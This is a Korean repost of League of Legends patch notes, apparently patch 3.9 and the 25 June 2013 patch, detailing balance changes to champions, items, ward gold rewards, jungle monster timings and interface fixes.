시야 확보 경쟁 과정에서 지원형 챔피언들이 골드 부족에 시달리는 문제를 완화하기 위해 예언자의 영약 효과와 와드 파괴 시 주어지는 보상을 변경했습니다. 먼저, 챔피언이 사망해도 예언자의 영약 효과가 사라지지 않게 되었습니다. 따라서 소극적으로 안전지대에 머물며 적 와드를 제거하는 데 그치지 않고 좀더 공격적으로 예언자의 영약을 활용할 수 있게 되었습니다. 다음으로, 와드를 제거하면 주어지는 골드가 와드를 파괴한 플레이어와 예언자의 영약 또는 투명 감지 와드를 사용해 해당 와드를 드러낸 플레이어 둘 모두에게 분배되도록 변경되었습니다.

 

• 와드

  o 시야 와드와 투명 감지 와드 파괴 시 골드 획득량이 25에서 30으로 늘었습니다.

  o 리글의 랜턴 와드 파괴 시 골드 획득량이 15에서 20으로 늘었습니다.

  o 와드 파괴에 대한 보상이 다음과 같이 주어지도록 변경되었습니다.

  o 와드를 파괴한 챔피언은 골드 보상의 절반을 받습니다.

  o 근처에 투명 감지 와드를 설치한 챔피언들과 예언자의 영약을 활성화하고 근처에 있는 챔피언들이 나머지 절반을 나눠 받습니다.

  o 이제 시야석과 루비 시야석의 아이템 툴팁에 지금까지 설치한 유령 와드의 개수가 표시됩니다.

 

• 예언자의 영약

  o 효과가 사망 시 사라지지 않습니다.

  o 지속 시간이 5분에서 4분으로 줄었습니다.

  o 투명 감지 범위가 750에서 600으로 줄었습니다.

  o 이제 효과가 적용되는 플레이어에게 투명 감지 범위를 표시합니다.

 

• 예언자의 추출액

  o 투명 감지 범위가 750에서 600으로 줄었습니다.

  o 이제 효과가 적용되는 플레이어에게 투명 감지 범위를 표시합니다.

 

여신의 눈물과 마나무네는 저렴한 가격에 비해 중첩이 너무 빨리 쌓였습니다. 따라서 마나 충전의 재사용 대기시간을 늘렸습니다. 이에 비해, 대천사의 지팡이는 최고 단계 아이템으로 가격이 만만치 않은 만큼, 빠른 충전을 통해 플레이어들이 골드 투자에 걸맞은 효과를 누릴 수 있도록 변경했습니다.

 

• 여신의 눈물

  o 고유 지속 효과 – 마나 충전

  o 충전 당 재사용 대기시간이 3초에서 4초로 늘었습니다.

  o 기능을 명확히 파악할 수 있도록 툴팁 문구를 수정했습니다.

 

• 마나무네

  o 고유 지속 효과 – 마나 충전

  o 충전 당 재사용 대기시간이 3초에서 4초로 늘었습니다.

  o 기능을 명확히 파악할 수 있도록 툴팁 문구를 수정했습니다.

 

• 대천사의 지팡이

  o 고유 지속 효과 – 마나 충전

  o 최대 마나 증가량이 6에서 8로 늘었습니다.

  o 충전 당 재사용 대기시간이 3초에서 4초로 늘었습니다.

  o 기능을 명확히 파악할 수 있도록 툴팁 문구를 수정했습니다.

 

공격에 별도 효과로 추가 물리 피해가 적용되는 챔피언(대표적으로 자르반 4세)이 기본 공격 한 번으로 칠흑의 양날 도끼에 의한 방어력 감소 중첩을 여럿 쌓을 수 있었던 것을 수정했습니다. 쉬바나나 레넥톤 등 여러 번의 기본 공격을 한 번에 가하는 챔피언들은 지금까지와 마찬가지로 중첩을 쌓을 수 있습니다.

 

• 칠흑의 양날 도끼

  o 이제 한 번의 기본 공격으로 방어력 감소 중첩이 둘 이상 쌓이지 않습니다.

 

맬모셔스의 아귀 지속 효과를 한 눈에 이해하기 편하도록 변경했습니다. 이제 보호막이 생성됐을 때 추가 공격력이 최대치가 되므로, 공격력이 가장 높은 순간을 쉽게 인식할 수 있습니다.

 

• 맬모셔스의 아귀

  o 공격력이 +55에서 +60으로 늘었습니다.

  o 마법 저항력이 +36에서 +40으로 늘었습니다.

  o 고유 지속 효과로 잃은 체력 2.5%가 아니라 2%마다 공격력이 1증가하도록 상향되었습니다.

  o 고유 지속 효과의 추가 공격력 최대치가 40에서 35로 줄었습니다.

  o 주문포식자가 재사용 대기 중일 때 업그레이드하면 재사용 대기시간이 초기화되지 않던 버그를 수정했습니다.

 

• 우글렛의 마녀 모자

  o 경직 효과 활성화 시 일부 챔피언 스킬과 설계 의도에서 벗어난 상호작용을 일으키던 버그를 수정했습니다.

 

• 존야의 모래시계

  o 경직 효과 활성화 시 일부 챔피언 스킬과 설계 의도에서 벗어난 상호작용을 일으키던 버그를 수정했습니다.

 

소환사의 협곡

사망 시 적이 획득하는 골드를 줄이기 위해 스스로 반복해서 죽는 전략이 유리하게 이용되는 문제를 해결하기 위해 연속 사망 시 골드 제공량을 변경했습니다. 의도하지 않았는데 연속해서 사망한 경우에 부작용이 나타날 수 있다는 점을 인식하고 있으며, 지속적으로 모니터링할 계획입니다.

 

• 연속 사망 시 골드 제공량을 시즌 3 전의 수치에 준하도록 수정했습니다.

• 일부 예를 들면 다음과 같습니다.

  o 초기화 없이 세 번 연속으로 처치당한 플레이어는 이제 220골드(기존 182골드)를 제공합니다.

  o 초기화 없이 여섯 번 연속으로 처치당한 플레이어는 이제 112골드(기존 62골드)를 제공합니다.

• 챔피언 처치 시 골드 획득량의 최저치가 50골드(기존 15골드)로 올랐습니다.

 

3.9 패치에서부터 각 맵의 특성을 반영한 맵별 밸런스 조정을 시작합니다. 소환사의 협곡과 비슷하게 맞추려는 의도가 아니라, 지나치게 밸런스를 무너뜨리는 일부 요소를 조정하여 전체적인 플레이어 경험을 향상시키기 위한 것입니다. 이번 패치에서는 수정의 상처에서의 카사딘과 뒤틀린 숲에서의 신지드를 변경했습니다. 이 조치가 성공적인 결과를 거둔다면 계속해서 필요한 변경을 해나갈 예정입니다.

 

• 뒤틀린 숲

  o 신지드

  o 뒤틀린 숲에서의 레벨당 방어력이 3.5에서 2로 감소했습니다.

  o 뒤틀린 숲에서의 광기의 물약 재사용 대기시간이 100에서 120으로 늘었습니다.

 

• 수정의 상처

  o 카사딘

  o 수정의 상처에서의 균열 이동 재사용 대기시간이 7/6/5에서 9/8/7로 늘었습니다.

  o 수정의 상처에서의 균열 이동 범위가 700에서 600으로 줄었습니다.

 

• 칼바람 나락

  o 신규 아이템: 겨울의 보주

  o 재료 아이템: 원기 회복의 구슬 + 원기 회복의 구슬 + 음전자 망토

  o 총 가격: 2080 골드 (조합 비용: 1180)

  o 마법 저항력 +70

  o 5초당 체력 재생 +20

  o 고유 지속 효과: 피해를 흡수하는 보호막을 생성합니다. 일정 시간 동안 피해를 입지 않으면 보호막이 재활성화됩니다.

 

게임 인터페이스

• 채팅 메시지를 입력하는 중 공격-이동이나 이동 명령이 활성화되던 오래된 버그를 수정했습니다.

• 키 지정에서 일부 보조 키가 몇몇 특정 키나 마우스 버튼과 함께 사용될 수 없던 버그를 수정했습니다.

• 아이템을 업그레이드할 때의 처리 속도가 상당히 향상되었습니다.

 

리그 시스템

• 리그 메뉴의 옵션을 이용해 챌린저 티어 플레이어이나 랭크 팀의 게임을 관전할 수 있는 기능이 추가되었습니다.

• 리그 탭에서 팀을 살펴보다 클릭하면 해당 팀의 상위 플레이어의 목록이 나타납니다.

 

일반 

매너플레이 관련 부서와 논의하여 다른 플레이어들의 네트워크 속도(‘핑’) 표시가 보이지 않도록 변경하였습니다. 데이터 분석 결과 로딩 화면에서 네트워크 속도를 표시할 경우 게임이 시작하기도 전에 부적절한 상황이 벌어질 확률이 더 높았습니다. 저희는 챔피언 로딩 화면의 네트워크 속도 표시를 없애면 전반적인 매너 플레이 상황이 개선되리라는 결론을 얻었고, 이를 실행에 옮겼습니다. 

• 이제 로딩 화면에 소환사 아이콘이 표시됩니다.

  o 진행률 표시 막대는 공간 제약으로 인해 삭제됐습니다.

  o 다른 소환사의 네트워크 속도를 볼 수 없게 되었습니다.

 

• 원활하게 게임을 즐기실 수 있도록 룬 페이지를 상당 부분 리메이크했습니다.

  o 한 종류(표식, 인장 등)의 룬이 모두 표시되지 않도록 설정하면 해당 종류명이 회색으로 변하여 룬이 더 이상 없음을 나타냅니다.

  o 룬북의 변경사항을 취소하면 편집 중이던 룬 페이지가 아닌 다른 페이지가 열리던 문제를 수정했습니다. 

  o 보유 룬 목록 에서 한 번에 여러 종류의 룬을 볼 수 있습니다.

  o 우클릭이나 더블 클릭으로 다수의 룬을 빨리 적용하려 할 때, 룬 적용 애니메이션이 끝날 때까지 기다리지 않아도 됩니다.

  o 룬 슬롯을 약간 수정하여 딱 들어맞도록 했습니다.

  o 스크롤바의 반응성을 향상시키고 클릭하기 쉽게 만들었습니다.

  o 스크롤바가 나타나면 룬 효과 설명 사이의 구분선이 축소됩니다. 

  o 룬을 슬롯에 끌어다 놓을 때 옆 슬롯에 불이 들어오는 현상을 수정했습니다.

  o 룬 조합기 애니메이션이 간소화되었으며 CPU 처리속도에도 부담을 덜 주게 변경되었습니다.

  o 룬 조합기의 종류별 표시 설정 메뉴 가 룬 페이지의 해당 기능과 좀 더 일관성 있도록 변경되었습니다.

 

• 스마트 캐스트 사거리 표시 기능이 활성화되었을 때 자기 자신에게 스킬 사용 단축키(기본 설정은 ALT)를 사용하면 키를 눌렀다 뗐을 때가 아니라 눌렀을 때 즉시 시전되도록 변경되었습니다. 시비르의 주문 방어막 등 특성상 자신에게밖에 사용할 수 없는 스킬을 더 직관적으로 사용할 수 있습니다.


• 저레벨 플레이어들에게 어떤 게임 모드, 맵, 게임 유형이 사용 불가 상태이고 새로 사용 가능하게 되었는지를 명확하게 보여줄 수 있도록 툴팁 및 표시 기능을 추가했습니다.


• 게임 클라이언트가 1150x720과 1024x640 중 가장 적절한 크기로 자동으로 축소됩니다. 일반적으로 널리 사용되는 다음 화면 해상도에서 변화를 체감하실 수 있습니다.

  o 1366x768

  o 1280x768

  o 1280x700

  o 1182x864


• 이제 game.cfg의 ‘General’ 섹션에 ‘LogitechSupport=0’을 추가하시면 로지텍 하드웨어 지원 기능을 끌 수 있습니다.

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출처: 롤 인벤

http://www.inven.co.kr/board/powerbbs.php?come_idx=3329&l=85


2013년 6월 25일(화) 패치 노트


아트록스
다르킨의 검 아트록스가 출시되었습니다.

 

노틸러스
노틸러스가 상대보다 잘 성장했을 경우, 타이탄의 분노 스킬 레벨을 먼저 올려 피해량도 엄청나면서 대단히 튼튼해지게 됩니다. 노틸러스는 강력한 군중 제어기를 갖추고 전투를 개시하는 방어 담당 챔피언이므로, 게임 중반의 피해량을 좀 줄여 초반에 이득을 챙기더라도 지나치게 강력해지지 않도록 했습니다.
• 타이탄의 분노
  ◦ 피해량이 30/55/80/105/130에서 40/55/70/85/100으로 감소했습니다.
  ◦ 공격 시 주문력 계수가 낮게 적용되던 버그를 수정했습니다.

 

리산드라
리산드라는 군중 제어기에 초점이 맞춰진 마법사임에도 적에게 상당한 피해를 입힐 수 있었습니다. 이번 변경으로 단순히 피해량을 하향하는 것이 아니라 리산드라의 핵심인 방해 효과를 통한 전투 중 영향력이 두드러질 수 있도록 했습니다.
• 서릿발
  ◦ 재사용 대기시간이 18/16/14/12/10에서 14/13/12/11/10으로 감소했습니다.
  ◦ 마나 소모가 70에서 50으로 줄었습니다.
  ◦ 리산드라가 사망하면 속박이 걸리지 않던 버그를 수정했습니다.
• 얼음갈퀴 길
  ◦ 재사용 대기시간이 이제 재시전 시나 발사체가 사거리 끝에 도달한 후가 아니라 사용 즉시 시작됩니다.
• 얼음 무덤
  ◦ 자신에게 사용할 때의 지속 시간이 1.5초에서 2.5초로 늘어났습니다.
  ◦ 둔화율이 20/20/20%에서 20/30/40%로 늘어났습니다.
  ◦ 피해량이 150/300/450에서 150/250/350으로 감소했습니다.

 

바루스
• 꿰뚫는 화살
  ◦ 공격 대상을 지정한 상태에서 꿰뚫는 화살을 사용하면 바루스가 멈춰서던 버그를 수정했습니다.

 

바이
• 폭발 보호막
 ◦ 폭발 보호막의 재사용 대기시간이 고레벨에서 1초 더 길게 적용되던 버그를 수정했습니다.
• 금고 부수기
 ◦ 공격 대상을 지정한 상태에서 금고 부수기를 사용하면 바이가 멈춰서던 버그를 수정했습니다.

 

뽀삐
• 용감한 돌진
 ◦ 지형지물 판정이 좀 더 잘 내려지도록 스킬을 수정했습니다.

 

세주아니
세주아니는 지난 리메이크로 엄청난 피해량과 군중 제어 능력을 갖춘 강력한 챔피언이 됐습니다. 전투 개시를 맡는 다른 방어 담당 챔피언들과 균형을 맞추기 위해 몇 가지 변경사항을 원래대로 놀려놓았습니다.
• 매서운 북풍 철퇴
 ◦ 추가 최대 체력 계수가 16%에서 10%로 감소했습니다.
• 만년 서리
 ◦ 둔화 지속시간이 2/2.25/2.5/2.75/3초에서 1.5/1.75/2/2.25/2.5초로 감소했습니다.
• 빙하 감옥
 ◦ 기절 및 둔화 지속시간이 1.5/1.75/2초에서 1.25/1.5/1.75초로 감소했습니다.

 

소나
소나는 늘 강력한 지원형 챔피언이었습니다. 게다가 이번에 파워 코드–디미누엔도의 오래 된 버그까지 수정되면서 압도적으로 유리한 챔피언이 될 우려가 생겼고, 밸런스 조정이 필요하게 됐습니다. 그런 맥락에서 소나에 대한 과거 변경 내용을 일부 되돌렸습니다. 이번 변경은 소나와 다른 지원형 챔피언들 사이의 균형을 맞추기 위해, 소나의 게임 초반 피해량과 후반 생존력을 줄였습니다. 대신 게임 초반에 좀 더 안전하게 플레이할 수 있도록 했습니다.
• 기본 체력이 410에서 450으로 증가했습니다.
• 기본 방어력이 9.3에서 11.3으로 증가했습니다.
• 파워 코드
 ◦ 파워 코드의 기본 피해량이 8 + (10 x 레벨)에서 13/20/27/35/43/52/62/72/82/92/102/112/122/132/147/162/177/192로 변경됐습니다.
• 인내의 아리아
 ◦ 인내의 아리아의 파워 코드–디미누엔도가 대상이 가하는 피해를 줄이지 않던 버그를 수정했습니다.
 ◦ 인내의 아리아의 파워 코드–디미누엔도의 지속 시간이 4초에서 3초로 감소했습니다.
 ◦ 소나 자신과 치유한 아군에게 주어지는 추가 방어력과 마법 저항력이 8/11/14/17/20에서 6/7/8/9/10으로 감소했습니다.
 ◦ 지속 오오라의 추가 방어력과 마법 저항력을 3/6/9/12/15에서 6/7/8/9/10으로 변경했습니다.

 

쓰레쉬
• 사형 선고
 ◦ 사형 선고 시전 중에 점멸을 사용할 수 있었던 버그를 수정했습니다.

 

애니
티버를 좀 더 튼튼하게 만들어서 소환 시 가하는 피해에 그치지 않고 후반 팀전에서 존재감을 더할 수 있도록 상향했습니다.
• 소환: 티버
 ◦ 티버의 체력이 1200/1600/2000에서 1200/2100/3000으로 증가했습니다.
 ◦ 티버의 마법 저항력이 25/45/65에서 30/50/70으로 증가했습니다.
 ◦ 마나 소모량이 125/175/225에서 고정 100으로 감소했습니다.

 

애쉬
애쉬의 기본 지속 효과를 1레벨 견제나 가끔 발생하는 치명타에 그치지 않고 좀 더 전략적으로 활용할 수 있도록 변경했습니다.
• 집중
 ◦ 이제 애쉬가 공격을 하지 않고 있을 때 치명타율이 아니라 집중 중첩이 매초 3/4/5/6씩 쌓입니다.
 ◦ 집중 중첩이 100 쌓이면 애쉬의 다음 기본 공격이 치명타 피해를 입힙니다.
 ◦ 집중의 기본 중첩 수는 애쉬의 치명타율과 동일합니다.

 

카르마
카르마의 굳은 결의 스킬은 실용적이지 못했습니다. 서서히 치유되는 스킬보다 즉시 치유되는 스킬이 필요한 상황이 많으니까요. 이번 변경으로 끈을 이용한 플레이의 중요성을 유지하면서도 굳은 결의 스킬에 만트라를 사용하고 적과의 거리를 유지하는 플레이로 이득을 얻을 수 있도록 했습니다.
• 내면의 열정
 ◦ 마나 소모량이 50/55/60/65/70으로 감소했습니다.
 ◦ 폭발 반경이 230에서 250으로 증가했습니다.
• 굳은 결의
 ◦ 이제 속박된 유닛의 시야를 제대로 공유합니다.
 ◦ 만트라: 재생
 ◦ 이제 잃은 체력의 25%를 일정 시간에 걸쳐 회복하지 않습니다.
 ◦ 대신 카르마가 잃은 체력의 20%(+주문력 100 당 1%)를 즉시 치유하고 끈이 끊어지지 않으면 20%(+주문력 100 당 1%)를 한번 더 회복합니다.
• 고무
 ◦ 만트라: 저항
 ◦ 추가 보호막에 주문력 계수가 적용되지 않던 버그를 수정했습니다.

 

카직스
어떤 스킬을 진화시킬지에 대한 선택의 폭을 넓히는 것이 이번 변경의 궁극적인 목표입니다. 공허의 가시를 진화시키면 피해량도 엄청나고, 견제에 유리하며, 보조 효과도 뛰어났기 때문에 이 스킬을 두고 다른 스킬을 진화시킬 이유가 별로 없었습니다. 이제 공허의 가시 기본 스킬로도 둔화 효과를 걸 수 있으므로, 진화 없이 1레벨에도 보조 효과를 사용할 수 있습니다. 이전까지 공포 감지 진화로 얻을 수 있는 이점은 고립된 적에게만 적용됐으나 이제는 고립 여부에 상관 없이 적용되며, 고립된 대상에게는 더 큰 피해를 입히므로 공포 감지 진화가 전보다 매력적인 선택이 됐습니다. 또한 공허의 습격 스킬의 은신 중 피해 감소량도 증가했으므로, 원래의 부가 효과까지 고려하면 이 스킬을 진화시키는 것이 이전에 비해 좀 더 유리한 선택이 될 것입니다.
• 공포 감지
 ◦ 고립된 대상에 대한 피해 증가율이 45%로 변경됐습니다.
 ◦ 진화시키면 대상이 잃어버린 체력의 8%를 추가 피해로 가합니다. (고립된 대상에게는 피해량이 더 커집니다.)
• 공허의 가시
 ◦ 이제 적중된 대상들을 2초간 20% 둔화시킵니다.
 ◦ 마나 소모량이 60/70/80/90/100에서 55/60/65/70/75로 감소했습니다.
 ◦ 추가 물리 피해 계수가 0.9에서 1.0으로 증가했습니다.
 ◦ 진화시키면 세 발을 한꺼번에 발사하지만, 보이지 않는 위협 효과를 소모하지 않으며 추가 피해도 적용되지 않습니다.
 ◦ 이제 도약 도중에 사용할 수 없습니다.
• 공허의 습격
 ◦ 은신 중 피해 감소량이 40%에서 50%로 증가했습니다.

 

코그모
• 공허의 분비물
 ◦ 강인함으로 둔화 지속 시간이 줄어들지 않던 버그를 수정했습니다.

 

코르키
• 미사일 폭격
 ◦ 미사일 폭격 스킬이 가끔 피해를 입히지 않던 버그를 수정했습니다.

 

헤카림
생존력이 강한 전사인 헤카림은 그림자의 맹습 스킬의 큰 피해량과 충돌 지점에서의 공포 효과를 이용해 방어력이 약한 적들을 격퇴할 수 있었습니다. 스킬의 밸런스 조정을 위해 목표 지점에서 피해를 가하지 않도록 변경하는 대신 헤카림이 소환하는 유령 기수들의 피해량을 높였습니다.
파멸의 돌격을 상향하여 이제 목표한 적에게 뛰어들 때 얇은 벽 등의 작은 장애물을 넘을 수 있도록 했습니다. 단 이렇게 헤카림이 넘을 수 있는 작은 장애물은 강에서 올라오는 경사로 턱이나 정글 내의 얇은 벽 정도로, 게임 내에 그리 많지 않다는 점은 유의하십시오.
• 파멸의 돌격
 ◦ 이제 헤카림의 목표가 작은 지형지물 너머에 있을 경우 장애물을 뛰어넘어 목표를 공격합니다.
• 그림자의 맹습
 ◦ 이제 목표 지점에서 피해를 입히지 않습니다.
 ◦ 유령 기수의 피해량이 100/200/300 (+0.4 주문력)에서 150/250/350 (+1.0 주문력)으로 증가했습니다.

 

챔피언 일반 변경사항
• 목표(지점)을 지정하며 벽을 넘을 수 있는 도약 스킬이 벽 양쪽을 모두 계산에 넣어 커서에서 가장 가까운 위치를 판정하도록 변경됐습니다. 이제 도약 거리상 분명히 넘을 수 있는 벽을 넘으려다 실패하는 일이 없을 것입니다.
• 다음 스킬들에 대상 지정 시 목표가 얼마나 멀리 밀려날지 표시하는 기능이 추가됐습니다.
 ◦ 알리스타의 박치기
 ◦ 리 신의 용의 분노
 ◦ 뽀삐의 용감한 돌진
 ◦ 베인의 선고
• 대상으로 지정한 적이 점멸을 사용했을 때 결과가 일관되게 나타나지 않던 다음 스킬들을 개선했습니다. 그런 상황에선 스킬이 시전되지 않거나 점멸이 소모되지 않도록 하였으며, 스킬과 점멸이 동시에 소모되는 일은 없도록 했습니다.
 ◦ 제이스의 천둥 강타
 ◦ 신지드의 던져넘기기
 ◦ 스카너의 꿰뚫기
 ◦ 볼리베어의 천둥 몰아치기

 

광역 둔화 변경사항
모든 광역 둔화 스킬의 둔화 효과가 1/4초에 한 번씩 갱신되도록 수정되어, 각각의 대상에게 둔화를 거는 스킬(코그모의 공허의 분비물 등)이 아닌 이상 둔화 효과 영역 밖으로 빠져나오면 거의 즉시 둔화가 풀리게 됐습니다. 이로써 둔화 효과 영역에서 빠져나올 때 효과가 좀 더 빨리 사라지게 됐지만, 영역 내에서의 둔화 효과에는 아무 변화가 없습니다.
이번 변경은 광역 둔화 효과에 좀 더 직관적으로 대응할 수 있도록 해줄 것이며, 반응이 빠른 플레이어에게 이득이 될 것입니다. (둔화 효과 영역에서 빠져나오면 해당 효과가 더 빨리 사라지기 때문입니다.) 이로 인해 영향 받는 챔피언들에게는 약간의 하향이라고 할 수 있으며, 저희도 앞으로 이 챔피언들을 주의 깊게 지켜볼 예정입니다.
• 다음 스킬의 둔화 효과는 이제 0.25초마다 갱신됩니다.
 ◦ 신지드의 초강력 접착제
 ◦ 럭스의 광휘의 특이점
 ◦ 갱플랭크의 포탄 세례
 ◦ 룰루의 급성장
 ◦ 미스 포츈의 총알은 비를 타고
 ◦ 트런들의 얼음 기둥
 ◦ 바루스의 퍼붓는 화살
 ◦ 빅토르의 중력장
 ◦ 블라드미르의 피의 웅덩이
• 럭스의 광휘의 특이점은 폭발에 맞은 대상에게 0.25초간의 둔화 효과도 적용합니다.
• 코그모의 공허의 분비물은 적중한 대상에게 1초간의 둔화 효과도 적용합니다.

 

아이템
몇 가지 시작 아이템의 가격을 낮추어 소모품을 비롯한 아이템 선택의 폭을 넓혔습니다.
• 속도의 장화
 ◦ 가격이 350에서 325골드로 내려갔습니다.
 ◦ 속도의 장화의 상위 아이템의 조합 비용이 25씩 올랐습니다.
• 도란의 반지
 ◦ 가격이 475에서 400골드로 내려갔습니다.
 ◦ 체력 증가량이 +80에서 +60으로 감소했습니다.
 ◦ 적 처치 시 마나 회복량이 5에서 4로 감소했습니다.
• 도란의 방패
 ◦ 가격이 475에서 440골드로 내려갔습니다.
 ◦ 방어력 증가량이 5에서 0으로 감소했습니다.
 ◦ 체력 회복량이 +8에서 +10으로 증가했습니다.
 ◦ 고유 지속 효과가 방어하는 적 챔피언의 기본 공격 피해량이 6에서 8로 증가했습니다.

 

마드레드의 갈퀴손과 리글의 랜턴이 추가 피해를 항상 적용하도록 변경하여, 정글 플레이 경로를 계획하기가 더 수월해졌습니다. 리글의 랜턴은 그다지 매력적인 아이템이 아니었기 때문에, 후반에도 아이템 슬롯을 할애해서 활용할 만한 아이템으로 만들기 위해 변경했습니다.
• 모든 ‘가르기’ 지속 효과가 ‘무력화’로 변경됐습니다.
• ‘무력화’는 몬스터에게 기본 공격 시 추가 마법 피해를 입히는 지속 효과로 변경됐습니다.
• ‘도살자’는 몬스터에게 가하는 모든 피해가 일정 비율로 증가하는 기본 지속 효과입니다.
• 사냥꾼의 마체테
 ◦ ‘고유 지속 효과 – 가르기’가 ‘고유 지속 효과 – 무력화’로 변경됐습니다.
 ◦ 이제 몬스터에게 기본 공격을 가할 때마다 10의 마법 피해를 추가로 입힙니다.
• 정령석
 ◦ ‘고유 지속 효과 – 가르기’가 ‘고유 지속 효과 – 무력화’로 변경됐습니다.
 ◦ 이제 몬스터에게 기본 공격을 가할 때마다 10의 마법 피해를 추가로 입힙니다.
• 마드레드의 갈퀴손
 ◦ 고유 지속 효과 – 무력화
 ◦ 몬스터에게 기본 공격을 가할 때마다 60의 마법 피해를 추가로 입히도록 변경됐습니다.
 ◦ 이제 미니언에게 추가 피해를 입히지 않습니다.
• 리글의 랜턴
 ◦ 고유 지속 효과 – 무력화
 ◦ 몬스터에게 기본 공격을 가할 때마다 100의 마법 피해를 추가로 입히도록 변경됐습니다.
 ◦ 이제 미니언에게 추가 피해를 입히지 않습니다.
 ◦ 고유 사용 효과
 ◦ 와드 지속 시간이 180초에서 90초로 감소했습니다.
 ◦ 재사용 대기시간이 180초에서 90초로 감소했습니다.
 ◦ 공격력이 +15에서 +25로 증가했습니다.
 ◦ 생명력 흡수가 10%에서 15%로 증가했습니다.
 ◦ 방어력이 +30에서 +25로 감소했습니다.
 ◦ 조합 비용이 100에서 500골드로 증가했습니다. (전체 가격은 1600에서 2000골드로 증가)

 

얼마 전 패치에서 몇 가지 정글 아이템을 상향해 정글 사냥꾼 플레이어들에게 좀 더 매력적인 선택이 될 수 있도록 했습니다. 그러나 이 아이템들의 효율이 너무 높아져 도살자 지속 효과를 활용할 생각이 없는 공격로 담당 플레이어들까지 이 아이템들을 구입할 정도가 됐습니다. 저희는 여전히 공격로 담당 플레이어들이 틈틈이 정글 몬스터를 사냥하거나 맵 상의 중요 목표물을 장악하는 데 협력하는 것을 목적으로 이 아이템들을 사용하실 수 있길 바라지만, 궁극적으로는 이 아이템들이 무엇보다 정글 사냥꾼들을 위한 최적의 선택이 되기를 바랍니다.
• 고대 골렘의 영혼
 ◦ 고유 지속 효과 – 도살자
 ◦ 몬스터에 대한 피해 증가율이 25%에서 30%로 증가했습니다.
• 도마뱀 장로의 영혼
 ◦ 공격력이 +45에서 +35로 감소했습니다.
 ◦ 고유 지속 효과 – 도살자
 ◦ 몬스터에 대한 피해 증가율이 25%에서 30%로 증가했습니다.
• 망령의 영혼
 ◦ 주문력이 +50에서 +40으로 감소했습니다.
 ◦ 고유 지속 효과 – 도살자
 ◦ 몬스터에 대한 피해 증가율이 25%에서 30%로 증가했습니다.

 

역병의 비수의 지속 효과들을 다른 기본 공격 강화 효과가 있는 공격 속도 아이템들, 내셔의 이빨과 마법사의 최후로 옮겼습니다. 내셔의 이빨은 주문력을 높여주면서 기본 공격을 강화시켜주는 더욱 독특한 아이템이 되었으며, 마법사의 최후는 마법 저항력 감소 효과를 통해 마법 피해를 입히는 전사 챔피언들과 더 큰 시너지를 낼 수 있도록 했습니다. (태양불꽃 망토와 마법사의 최후를 함께 활용하면 마법 피해를 입히지 않는 챔피언들에게도 상당히 좋습니다.) 역병의 비수는 현재 아이템 체계에 어울리지 않기 때문에 삭제되었습니다.
• 곡궁
 ◦ 가격이 950에서 900골드로 낮아졌습니다.
• 역병의 비수
 ◦ 삭제되었습니다.
• 내셔의 이빨
 ◦ 조합 비용이 500에서 920골드로 증가했습니다.
 ◦ 주문력이 +65에서 +60으로 낮아졌습니다.
 ◦ 지속 효과 추가 – 기본 공격이 [15 + (주문력의 15%)]만큼의 추가 마법 피해를 입힙니다.
• 마법사의 최후
 ◦ 재료 아이템 변경: 곡궁 + 마법무효화의 망토 + 단검 + 700골드 (총 가격 2400골드)
 ◦ 공격 속도 증가율이 40%에서 42%로 높아졌습니다.
 ◦ 지속 효과 변경 – 기본 공격 시 대상으로부터 5의 마법 저항력을 훔칩니다. 이 효과는 5번까지 중첩됩니다.

 


소환사의 협곡
정글 몬스터가 제일 처음 생성되는 시기를 늦추어, 공격로에 돌입하기 전에 특정 정글 몬스터를 사냥하여 압도적인 경험치 이득을 볼 수 없도록 했습니다. 전 세계의 여러 프로팀에서 이와 같은 변경을 요청했습니다. 이에 대응할 수 있는 수단이 공격로를 교대하거나 완전히 사냥을 할 수 없도록 만드는 것뿐이었기 때문입니다.
물론, 이번 변경으로 정글 사냥꾼이 강화 효과를 주는 고대 골렘이나 도마뱀 장로를 사냥하기 전에 늑대나 유령을 사냥할 수 없게 됐습니다. 이에 대한 보상으로 생성 주기를 더 빠르게 변경했습니다. 정글 몬스터 사냥 속도가 매우 빠르고 공격로 기습보다는 정글 내에 머무는 것이 유리한 챔피언들은 특히 큰 이득을 얻을 것입니다. 그러나 다양한 정글 경로를 선택할 수 있게 된 만큼 모든 정글 사냥꾼이 이번 변경으로 혜택을 받을 수 있을 것입니다.
그렇긴 하지만, 정글 사냥꾼은 보통 게임 초반에 강한 영향을 미치기 때문에 이번 변경이 초반 정글 사냥꾼을 지나치게 강하게 만드는 것이 아닌가 하는 우려도 있습니다. 앞으로 상황을 긴밀히 모니터링하여 추가 밸런스 조정을 할 예정입니다.
• 정글
 ◦ 늑대
 ◦ 최초 생성 시간이 1:40에서 1:55로 변경됐습니다.
 ◦ 재생성 주기가 60초에서 50초로 줄어들었습니다.
 ◦  유령
 ◦ 최초 생성 시간이 1:40에서 1:55로 변경됐습니다.
 ◦ 골렘
 ◦ 최초 생성 시간이 1:40에서 1:55로 변경됐습니다.
 ◦ 재생성 주기가 60초에서 50초로 줄어들었습니다.
 ◦ 고대 골렘
 ◦ 기본 처치 시 경험치 획득량이 220에서 340으로 증가했습니다.
 ◦ 강화 효과가 누구에게 옮겨졌는지를 보여주는 파티클 효과가 추가되었습니다.
 ◦ 도마뱀 장로
 ◦ 기본 처치 시 경험치 획득량이 220에서 340으로 증가했습니다.
 ◦ 강화 효과가 누구에게 옮겨졌는지를 보여주는 파티클 효과가 추가되었습니다.
 ◦ 새끼 도마뱀
 ◦ 기본 처치 시 경험치 획득량이 40에서 10으로 감소했습니다.

 

뒤틀린 숲
• 다음 아이템을 사용할 수 있게 변경했습니다.
 ◦ 사냥꾼의 마체테
 ◦ 정령석
 ◦ 고대 골렘의 영혼
 ◦ 도마뱀 장로의 영혼
 ◦ 망령의 영혼

 

수정의 상처
• 다음 아이템의 도미니언 버전을 추가했습니다.
 ◦ 여신의 눈물 (수정의 상처)
 ◦ 스킬 사용 시 최대 마나 증가량이 4에서 5로 증가했습니다.
 ◦ 마나무네 (수정의 상처)
 ◦ 스킬 사용 시 최대 마나 증가량이 4에서 8로 증가했습니다.
 ◦ 대천사의 지팡이 (수정의 상처)
 ◦ 스킬 사용 시 최대 마나 증가량이 6에서 10으로 증가했습니다.
 ◦ 영겁의 지팡이 (수정의 상처)
 ◦ 60초가 아닌 40초마다 체력 및 주문력 상승 중첩이 쌓입니다.

 

칼바람 나락
• 다음 아이템을 사용할 수 있게 변경했습니다.
 ◦ 사냥꾼의 마체테
 ◦ 정령석
 ◦ 고대 골렘의 영혼
 ◦ 도마뱀 장로의 영혼
 ◦ 망령의 영혼
